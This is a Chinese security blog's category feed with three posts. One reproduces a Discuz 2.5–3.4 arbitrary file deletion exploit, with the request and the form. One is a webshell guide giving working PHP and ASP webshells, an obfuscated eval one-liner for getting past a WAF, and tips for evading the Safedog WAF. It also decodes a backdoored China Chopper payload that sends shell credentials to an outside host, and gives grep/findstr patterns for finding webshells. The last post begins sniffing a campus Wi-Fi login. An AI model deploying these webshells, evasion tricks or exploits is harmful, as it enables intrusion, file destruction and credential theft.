Hack | HumblePoster https://p0st3r.github.io/categories/hack/ Hack Source Themes Academic (https://sourcethemes.com/academic/)en-usLithium©2016Fri, 29 Sep 2017 00:00:00 +0000 https://p0st3r.github.io/images/icon_hu0b7a4cb9992c9ac0e91bd28ffd38dd00_9727_512x512_fill_lanczos_center_2.png Hack https://p0st3r.github.io/categories/hack/ Discuz2.5-3.4任意文件操作漏洞 https://p0st3r.github.io/post/ssv-93588/ Fri, 29 Sep 2017 00:00:00 +0000 https://p0st3r.github.io/post/ssv-93588/ <h2 id="简介">简介</h2> <p>Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。</p> <p>2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以任意删除文件。</p> <p>该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。</p> <ul> <li>影响版本: 2.5-3.4</li> <li>修复方案:</li> </ul> <p><a href="https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574">https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574</a></p> <p>删除unlink相关代码。</p> <h2 id="原理">原理</h2> <p>核心问题在 ==upload/source/include/spacecp/spacecp_profile.php==</p> <p>跟入代码70行,当提交 ==profilesubmit== 时进入判断,跟入177行</p> <p>我们发现如果满足配置文件中某个==formtype==的类型为 ==file==,我们就可以进入判断逻辑,我们接着看这次修复的改动,可以发现228行再次引入语句 ==unlink==</p> <p>当上传文件并上传成功,即可进入 unlink 语句</p> <p>然后回溯变量==$space[$key]==,不难发现这就是用户的个人设置。</p> <p>只要找到一个可以控制的变量即可,这里选择了 ==birthprovince。==</p> <p>在设置页面直接提交就可以绕过字段内容的限制了。</p> <p>成功实现了任意文件删除</p> <h2 id="复现">复现</h2> <p>环境:win7+phpstudy+discuz3.2</p> <p>新建importantfile.txt作为测试</p> <p>进入设置-个人资料,先在页面源代码找到formhash值</p> <pre><code>http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile </code></pre><p><img src="http://image.3001.net/images/20171005/15072139595386.png" alt=""></p> <p><img src="http://image.3001.net/images/20171005/15072139935642.png" alt=""></p> <p>可以看到formhash值是b21b6577。</p> <p>再访问</p> <pre><code>10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base </code></pre><p>Post数据:</p> <pre><code>birthprovince=../../../importantfile.txt&amp;profilesubmit=1&amp;formhash=b21b6577 </code></pre><p>如图</p> <p><img src="http://image.3001.net/images/20171005/15072146208123.png" alt=""></p> <p>执行后</p> <p><img src="http://image.3001.net/images/20171005/15072140283751.png" alt=""></p> <p>出生地被修改成要删除的文件。</p> <p>最后构造表单执行删除文件</p> <pre><code>&lt;form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base” method=”POST” enctype=”multipart/form-data”&gt; &lt;input type=”file” name=”birthprovince” id=”file” /&gt; &lt;input type=”text” name=”formhash” value=”b21b6577″/&gt;&lt;/p&gt; &lt;input type=”text” name=”profilesubmit” value=”1″/&gt;&lt;/p&gt; &lt;input type=”submit” value=”Submit” /&gt; &lt;/from&gt; </code></pre><p>随便上传一张图片,即可删除importantfile.txt</p> <p><img src="http://image.3001.net/images/20171005/15072140588158.png" alt=""></p> <p>成功删除importantfile.txt</p> <h2 id="修复">修复</h2> <p>Discuz!X 的码云已经更新修复了该漏洞</p> <p><a href="https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574">https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574</a></p> 一些脚本后门的分析、编写及绕过技巧 https://p0st3r.github.io/post/webshell-bypass-strategy/ Sat, 20 May 2017 00:00:00 +0000 https://p0st3r.github.io/post/webshell-bypass-strategy/ <h2 id="0x00-php小马">0x00 PHP小马</h2> <p>表单中</p> <ul> <li>action属性为要提交的地址;</li> <li>PHP_SELF获取当前文件;</li> <li>DOCUMENT_ROOT获取当前运行脚本所在的文档根目录;</li> <li>textarea为多行文本输入框;</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?</span> $path<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;path&#39;</span>]; $data<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;data&#39;</span>]; $file<span style="color:#f92672">=</span><span style="color:#a6e22e">fopen</span>($path,<span style="color:#e6db74">&#34;w+&#34;</span>); <span style="color:#a6e22e">fwrite</span>($file,$data); <span style="color:#a6e22e">fclose</span>($file); <span style="color:#75715e">?&gt;</span> &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt; 读取当前文件路径: <span style="color:#75715e">&lt;?</span> <span style="color:#66d9ef">echo</span> $_SERVER[<span style="color:#e6db74">&#39;DOCUMENT_ROOT&#39;</span>]<span style="color:#f92672">.</span>$_SERVER[<span style="color:#e6db74">&#39;PHP_SELF&#39;</span>];<span style="color:#75715e">?&gt;</span>&lt;/<span style="color:#f92672">br</span>&gt; 保存路径:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;path&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span>&gt; 写入内容:&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;data&#34;</span> <span style="color:#a6e22e">cols</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;90&#34;</span> <span style="color:#a6e22e">rows</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;50&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;提交&#34;</span>/&gt; &lt;/<span style="color:#f92672">form</span>&gt; </code></pre></div><p><strong>有密码验证的PHP小马:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">&lt;<span style="color:#f92672">html</span>&gt; &lt;<span style="color:#f92672">head</span>&gt; &lt;<span style="color:#f92672">title</span>&gt;<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=</span>$_SERVER[<span style="color:#e6db74">&#39;SERVER_NAME&#39;</span>]<span style="color:#75715e">?&gt;</span>的后门小马&lt;/<span style="color:#f92672">title</span>&gt; &lt;/<span style="color:#f92672">head</span>&gt; <span style="color:#75715e">&lt;?php</span> <span style="color:#a6e22e">error_reporting</span>(<span style="color:#ae81ff">0</span>);<span style="color:#75715e">//不显示错误信息 </span><span style="color:#75715e"></span>$password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;xiaoxian&#34;</span>; <span style="color:#66d9ef">if</span> ($_GET[<span style="color:#a6e22e">pass</span>]<span style="color:#f92672">==</span>$password){<span style="color:#75715e">//判断输入的密码是否正确 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> ($_POST){ $path<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;path&#39;</span>];<span style="color:#75715e">//从表单获取的上传的路径 </span><span style="color:#75715e"></span> $data<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;data&#39;</span>];<span style="color:#75715e">//从表单获取的上传的内容 </span><span style="color:#75715e"></span> $file<span style="color:#f92672">=</span><span style="color:#a6e22e">fopen</span>($path,<span style="color:#e6db74">&#34;w+&#34;</span>); <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">fwrite</span>($file,$data)) <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Succeeded!&#34;</span>; <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Failed!&#34;</span>; <span style="color:#a6e22e">fclose</span>($file); } <span style="color:#66d9ef">else</span>{ <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;xiaoma.php with password by xiaoxian&#34;</span>; } <span style="color:#75715e">?&gt;</span>&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt; 服务器的IP地址和域名为:<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=</span>$_SERVER[<span style="color:#e6db74">&#39;SERVER_NAME&#39;</span>]<span style="color:#75715e">?&gt;</span>(<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=@</span><span style="color:#a6e22e">gethostbyname</span>($_SERVER[<span style="color:#e6db74">&#39;SERVER_NAME&#39;</span>])<span style="color:#75715e">?&gt;</span>)&lt;<span style="color:#f92672">br</span>&gt; 当前目录路径: <span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">echo</span> $_SERVER[<span style="color:#e6db74">&#39;DOCUMENT_ROOT&#39;</span>]<span style="color:#f92672">.</span>$_SERVER[<span style="color:#e6db74">&#39;PHP_SELF&#39;</span>];<span style="color:#75715e">?&gt;</span>&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt; 保存路径:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;path&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span>&gt; 保存内容:&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;data&#34;</span> <span style="color:#a6e22e">cols</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;90&#34;</span> <span style="color:#a6e22e">rows</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;50&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Submit&#34;</span>/&gt; &lt;/<span style="color:#f92672">form</span>&gt; <span style="color:#75715e">&lt;?php</span> }<span style="color:#66d9ef">else</span>{ <span style="color:#75715e">//输入密码错误时则一直在输入密码的界面 </span><span style="color:#75715e"></span><span style="color:#75715e">?&gt;</span> &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;GET&#34;</span>&gt; 密码:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pass&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pass&#34;</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;login&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Login in&#34;</span> /&gt;&lt;/<span style="color:#f92672">form</span>&gt; <span style="color:#75715e">&lt;?php</span> } <span style="color:#75715e">?&gt;</span> </code></pre></div><h2 id="0x01-一句话木马实现原理和编写">0x01 一句话木马实现原理和编写</h2> <p><strong>客户端:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">&lt;form action=http://10.10.10.144/1.asp method=post&gt; &lt;textarea name=xiaoxian cols=120 rows=10 width=45&gt; set IP=server.CreateObject(&#34;Adodb.Stream&#34;)//建立流对象 IP.Open IP.Type=2//以文本方式 IP.CharSet=&#34;gb2312&#34;//字体标准 IP.writetext request(&#34;newvalue&#34;) IP.SaveToFile server.mappath(&#34;new.asp&#34;),2//将木马内容以覆盖文件的方式写入new.asp,2就是已覆盖的方式 IP.Close set IP=nothing//释放对象 response.redirect &#34;new.asp&#34;//转向new.asp &lt;/textarea&gt; &lt;textarea name=newvalue cols=120 rows=10 width=45&gt;这里填生成木马的代码 &lt;/textarea&gt;&lt;br&gt;&lt;center&gt;&lt;br&gt; &lt;input type=submit value=提交&gt; &lt;/form&gt; </code></pre></div><p><strong>服务端中有文件1.asp,内容为:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">&lt;%execute request(&#34;xiaoxian&#34;)%&gt; </code></pre></div><p>表单的作用就是把表单里的内容提交到服务器端的1.asp文件,而1.asp即为一句话木马,会执行提交的内容。简单地说,就是构造两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为new.asp的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了。第一个表单的名字和1.asp中的密码必须一样,而第二个表单的名字必须和IP.writetext request(&ldquo;newvalue&rdquo;) 里的newvalue一样。至此只要服务器有写的权限该表单所提交的大马内容就会被写入到new.asp中。即new.asp为我们的shell地址。</p> <h2 id="0x02-一句话木马如何绕过waf实现上传">0x02 一句话木马如何绕过WAF实现上传</h2> <p>这时候进行编码即可下面的是一个简单的编码例子,复杂的到网上下载即可:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> $mt<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;JF9QT1NU&#34;</span>; $ojj<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;QGV2YWwole&#34;</span>; $hsa<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Wydlele4aW&#34;</span>; $fnx<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;FveGlhbiddKTs=&#34;</span>; $zk<span style="color:#f92672">=</span><span style="color:#a6e22e">str_replace</span>(<span style="color:#e6db74">&#34;d&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;sdtdrd_redpdldadcde&#34;</span>); $ef<span style="color:#f92672">=</span>$zk(<span style="color:#e6db74">&#34;z&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;zbazsze64_zdzeczodze&#34;</span>); $dva<span style="color:#f92672">=</span>$zk(<span style="color:#e6db74">&#34;p&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;pcprpepaptpe_fpupnpcptpipopn&#34;</span>); $zvm<span style="color:#f92672">=</span>$dva(<span style="color:#e6db74">&#39;&#39;</span>,$ef($zk(<span style="color:#e6db74">&#34;le&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,$ojj<span style="color:#f92672">.</span>$mt<span style="color:#f92672">.</span>$hsa<span style="color:#f92672">.</span>$fnx))); $zvm(); <span style="color:#75715e">?&gt;</span> </code></pre></div><h2 id="0x03-中国菜刀一些技巧和后门分析">0x03 中国菜刀一些技巧和后门分析</h2> <p>开启安全狗之后即使上传了一句话木马但是也是无法直接用菜刀连接的,将菜刀发送的信息通过Firefox的Hackbar来POST过去即可绕过。</p> <p>具体的效果要看不同种类、不同版本的WAF了,这里使用的是最新版的安全狗因为还是被过滤了。当然网上也有过狗版的菜刀,但是本人使用的版本效果并不好。</p> <p>如何检测菜刀是否存在后门?</p> <p>使用WSockExpert软件或其它抓包软来来选择需要监听的“中国菜刀”程序,开始监听后,用菜刀连接Webshell进行一些操作,然后查看抓到的包,找到Send即发送包,其中的内容含有密码xiaoxian和加密过的内容,接着对里面的内容解码就是(这个是据说是官网下载的菜刀,但是确实没看到有后门):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">@eval (base64_decode($_POST[z0])); &amp;z0=@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-&gt;|&#34;);;$D=base64_decode($_POST[&#34;z1&#34;]);$F=@opendir($D);if($F==NULL){echo(&#34;ERROR:// Path Not Found Or No Permission!&#34;);}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.&#34;/&#34;.$N;$T=@date(&#34;Y-m-d H:i:s&#34;,@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=&#34;\t&#34;.$T.&#34;\t&#34;.@filesize($P).&#34;\t&#34;.$E.&#34; &#34;;if(@is_dir($P))$M.=$N.&#34;/&#34;.$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo(&#34;|&lt;<span style="color:#f92672">-</span><span style="color:#960050;background-color:#1e0010">&#34;</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span><span style="color:#a6e22e">die</span><span style="color:#960050;background-color:#1e0010">(</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span> <span style="color:#960050;background-color:#1e0010">&amp;</span><span style="color:#a6e22e">z1</span><span style="color:#f92672">=</span><span style="color:#e6db74">@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-</span>&gt;C:\\wce\\ </code></pre></div><p>这是有后门的菜刀第一次解码的结果:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">@eval(base64_decode(&#39;aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9&#39;));@ini_set(&#34;display_errors&#34;,&#34;0&#34;);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(&#34;-&gt;|&#34;);;$D=dirname($_SERVER[&#34;SCRIPT_FILENAME&#34;]);if($D==&#34;&#34;)$D=dirname($_SERVER[&#34;PATH_TRANSLATED&#34;]);$R=&#34;{$D}\t&#34;;if(substr($D,0,1)!=&#34;/&#34;){foreach(range(&#34;A&#34;,&#34;Z&#34;) as $L)if(is_dir(&#34;{$L}:&#34;))$R.=&#34;{$L}:&#34;;}$R.=&#34;\t&#34;;$u=(function_exists(&#39;posix_getegid&#39;))?@posix_getpwuid(@posix_geteuid()):&#39;&#39;;$usr=($u)?$u[&#39;name&#39;]:@get_current_user();$R.=php_uname();$R.=&#34;({$usr})&#34;;print $R;;echo(&#34;|&lt;<span style="color:#f92672">-</span><span style="color:#960050;background-color:#1e0010">&#34;</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span><span style="color:#a6e22e">die</span><span style="color:#960050;background-color:#1e0010">(</span><span style="color:#960050;background-color:#1e0010">)</span><span style="color:#960050;background-color:#1e0010">;</span> </code></pre></div><p>将中间base64加密字段进行第二次解密:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">if($_COOKIE[&#39;Lyke&#39;]!=1){setcookie(&#39;Lyke&#39;,1);@file(&#39;http://www.api.com.de/Api.php?Url=&#39;.$_SERVER[&#39;HTTP_HOST&#39;].$_SERVER[&#39;REQUEST_URI&#39;].&#39;&amp;Pass=&#39;.key($_POST));} </code></pre></div><p>可以看到这个菜刀明显存在后门。</p> <p>另外,在X-Forwarded-For这里是值得怀疑的地方,因为这里的IP是别的地方的,网上还没找到关于这种情况是不是后门的相关内容。这个地方大家可以研究一下,个人觉得是比较隐蔽的后门吧,但是问题是我所用的几个版本的菜刀在X-Forwarded-For这里都是有这个别的地方的IP的。</p> <h2 id="0x04-linuxwindows下查找菜刀一句话木马">0x04 Linux、Windows下查找菜刀一句话木马</h2> <p>Linux:</p> <ul> <li> <ul> <li>使用egrep命令进行正则匹配</li> <li>egrep -re ' &lt;php\s@eval[(]$<em>POST[.+][)];?&rsquo; *.php</em></li> </ul> </li> </ul> <p>Windows:</p> <ul> <li>通过findstr命令加上正则表达式搜索文件</li> <li>findstr /R &ldquo;&lt;php.@eval[(]$_POST.*[)];?&rdquo; *.php</li> </ul> <p>若是asp一句话木马,则需要修改正则表达式即可:</p> <ul> <li>egrep -re &lsquo;[[]%@\sPage\sLanguage=.Jscript.%[](mailto:]/%/@/sPage/sLanguage=.Jscript./%[)][&lt;]%eval.Request.Item.+unsafe&rsquo; *.aspx</li> <li>findstr /R &ldquo;[[]%@.Page.Language=.Jscript.%[](mailto:]/%/@.Page.Language=.Jscript./%[)][&lt;]%eval.Request.Item.*unsafe&rdquo; *.aspx</li> </ul> <h2 id="0x05-其他脚本后门分析">0x05 其他脚本后门分析</h2> <p>一般的方法就是,通过Firefox的F12即开发者工具到Network网络查看,如果在URL下还有访问其它网页的信息,那么基本就是存在后门。</p> <h2 id="0x06-手动查找后门木马">0x06 手动查找后门木马</h2> <p>1、系统的启动项,在运行输入msconfig,在打开的系统配置实用程序里的启动列表查看,并且服务也要注意一下,可以使用360安全卫士等软件的开机加速功能,来查看有无异常的可以启动项和服务项,因为在后门木马中99%都会注册自己为系统服务,达到开机自启动的目的,如果发现可疑项直接打开相应的路径,找到程序文件,直接删除并且禁止自启动;</p> <p>2、查看系统关键目录system32和系统安装目录Windows下的文件。然后查看最新修改的文件中有没有可疑的可执行文件或dll文件,这两个地方都是木马最喜欢的藏身的地方了(记得先设置显示所有的文件和文件夹);</p> <p>3、观察网络连接是否存在异常,还有输入netstat -ano命令查看有没有可疑或非正常程序的网络连接,尤其注意一下远程连接的端口,如果有类似于8000等端口就要注意了,8000是灰鸽子的默认端口。</p> <p>这里重点讲一下第三点:</p> <p>1、 查看进程:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">netstat-an </code></pre></div><p>netstat -ano 多显示一个PID,先查看established的进程中所连接的外部地址是否是一个可疑的、没见过的地址,如果本身主机没有进行什么网络访问的话就需要警惕了,先记住这个可疑进程的PID。</p> <p>tasklist /svc,输入这个命令,通过对应的PID找到对应的进程名。</p> <p>2、 查看服务:</p> <p>可以使用工具XueTr来进行更为简便的操作,使用其查看服务和进程等信息(注意的一点,微软服务的描述在最后都是由句号的,而第三方的服务是没有的)</p> <p>先右键到dll文件的路径中将dll文件删除,然后到相应的服务中将其删除掉,最后将可疑进程终止掉。</p> H3C校园网WIFI密码嗅探 https://p0st3r.github.io/post/h3c-wifi-sniff/ Tue, 09 May 2017 00:00:00 +0000 https://p0st3r.github.io/post/h3c-wifi-sniff/ <h1 id="初步分析认证交互">初步分析认证交互</h1> <p>该校校园网WIFI采用H3C认证,认证地址为内网某服务器上。url为 <a href="http://link.zhihu.com/?target=http%3A//192.168.150.2%3A8080/portal/" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/index_default.jsp</a></p> <h2 id="查看dom">查看DOM</h2> <p>发现了几个重要的函数。base64()、checkUserName()、encrypt()</p> <p>base64是将输入的文本进行一次base64编码,checkUerName就是检查用户名,encrypt是将密码再进行一次加密。</p> <p>base64是将输入的文本进行一次base64编码,checkUerName就是检查用户名,encrypt是将密码再进行一次加密。</p> <p><img src="./v2-eec5275988a740dd98ee624e443ab1a8_hd.png" alt="img"></p> <h2 id="分析网络流">分析网络流</h2> <p>首先使用火狐的firebug+检查元素来分析网络流。</p> <p>当我们访问登陆页面时,发送GET请求并带一个i_p_pl的cookie</p> <p><img src="./v2-bf33b3c1543ec099f360573a6ac00aaf_hd.png" alt="img"></p> <p>尝试登陆,登陆成功跳转到 <a href="http://link.zhihu.com/?target=http%3A//192.168.xxx.x%3Axxxx/portal/succese.jsp" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/page/loginSucc.jsp**</a>,发送了*个GET请求,除去图片和脚本,此次登陆只向/portal/loginSucc.jsp发送了GET包,除了i_p_pl,还带有hello1、hello2两个个cookie,其中hello1为登陆发送的username,hello2暂不明其含义。</p> <p>在后来的测试中,发现hello2是【记住登陆】功能的参数,当hello2=false时不记住,hello2=true时记住并附带hello3、hello4、hello5参数,本来应当是可以利用这些cookie来绕过登陆直接请求认证的,不过考虑到其又要增加工作量,因此先放一边。</p> <p><img src="./v2-279ce765f1d931475fb7997c43b8a7bf_hd.png" alt="img"></p> <p>这就很奇怪了,在整个登陆过程全部都是GET请求而没有POST请求,没有POST请求是怎么把用户名密码传输上去认证的呢?况且之前已经在DOM中发现了base64encode()和query()函数。难道用户名和密码是在GET时Cookie中传上去的?。虽然不用想就知道GET发送cookie来登陆很扯,但还是要研究一下cookie的含义。</p> <p><img src="./v2-bcc5e9f15b77dec561a603ca8f063bc2_hd.png" alt="img"></p> <h2 id="探究cookie含义">探究cookie含义</h2> <p>登陆时发送的i_p_pl</p> <p>i_p_pl=JTdCJTIyZXJyb3JOdW1iZXIlMjIlM0ElMjIxJTIyJTJDJTIybmV4dFVybCUyMiUzQSUyMmh0dHAlM0ElMkYlMkYxOTIuMTY4LjE1MC4yJTNBODA4MCUyRnBvcnRhbCUyRmluZGV4X2RlZmF1bHQuanNwJTIyJTJDJTIycXVpY2tBdXRoJTIyJTNBZmFsc2UlMkMlMjJjbGllbnRMYW5ndWFnZSUyMiUzQSUyMkNoaW5lc2UlMjIlMkMlMjJhc3NpZ25JcFR5cGUlMjIlM0EwJTJDJTIyaU5vZGVQd2ROZWVkRW5jcnlwdCUyMiUzQTElMkMlMjJ3bGFubmFzaWQlMjIlM0ElMjIlMjIlMkMlMjJ3bGFuc3NpZCUyMiUzQSUyMiUyMiUyQyUyMm5hc0lwJTIyJTNBJTIyJTIyJTJDJTIyYnlvZFNlcnZlcklwJTIyJTNBJTIyMC4wLjAuMCUyMiUyQyUyMmJ5b2RTZXJ2ZXJJcHY2JTIyJTNBJTIyMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlMjIlMkMlMjJieW9kU2VydmVySHR0cFBvcnQlMjIlM0ElMjI4MDgwJTIyJTJDJTIyaWZUcnlVc2VQb3B1cFdpbmRvdyUyMiUzQWZhbHNlJTJDJTIydWFtSW5pdEN1c3RvbSUyMiUzQSUyMjElMjIlMkMlMjJjdXN0b21DZmclMjIlM0ElMjJNUSUyMiUyQyUyMnJlZ0NvZGVUeXBlJTIyJTNBJTIyTUElMjIlN0Q</p> <p>很明显这是一个base64编码过的字符串,把这个base64解码再url解码,就得到了</p> <p>{“errorNumber”:”1”,”nextUrl”:” <a href="http://link.zhihu.com/?target=http%3A//192.168.150.2%3A8080/portal/index_default.jsp" target="_blank" rel="noopener">http://192.168.xxx.x:xxxx/portal/index_default.jsp**</a>“,”quickAuth”:false,”clientLanguage”:”Chinese”,”assignIpType”:0,”iNodePwdNeedEncrypt”:1,”wlannasid”:””,”wlanssid”:””,”nasIp”:””,”byodServerIp”:”0.0.0.0”,”byodServerIpv6”:”0000:0000:0000:0000:0000:0000:0000:0000”,”byodServerHttpPort”:”8080”,”ifTryUsePopupWindow”:false,”uamInitCustom”:”1”,”customCfg”:”MQ”,”regCodeType”:”MA”}</p> <p>这只是向无线路由器发送的表明自己身份的未完成的表单,没有我们要的用户名和密码。</p> <h1 id="完整认证过程">完整认证过程</h1> <p>只有GET请求果然很扯,这很有可能是我们的浏览器网络流分析工具有些问题,或者该Web认证的安全性足够好,导致我们无法截取完整的请求流。</p> <p>这样就只有用Wireshark来对网卡进行完全的监听,以抓取全部流量包。</p> <p>设置Capture interface为 WLAN 无线网卡,开启抓取后重现登陆过程。</p> 